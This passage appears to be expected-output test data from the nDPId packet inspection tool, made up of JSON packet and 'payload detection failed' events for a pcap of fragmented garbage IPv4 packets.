+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699966,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700021,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700237,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 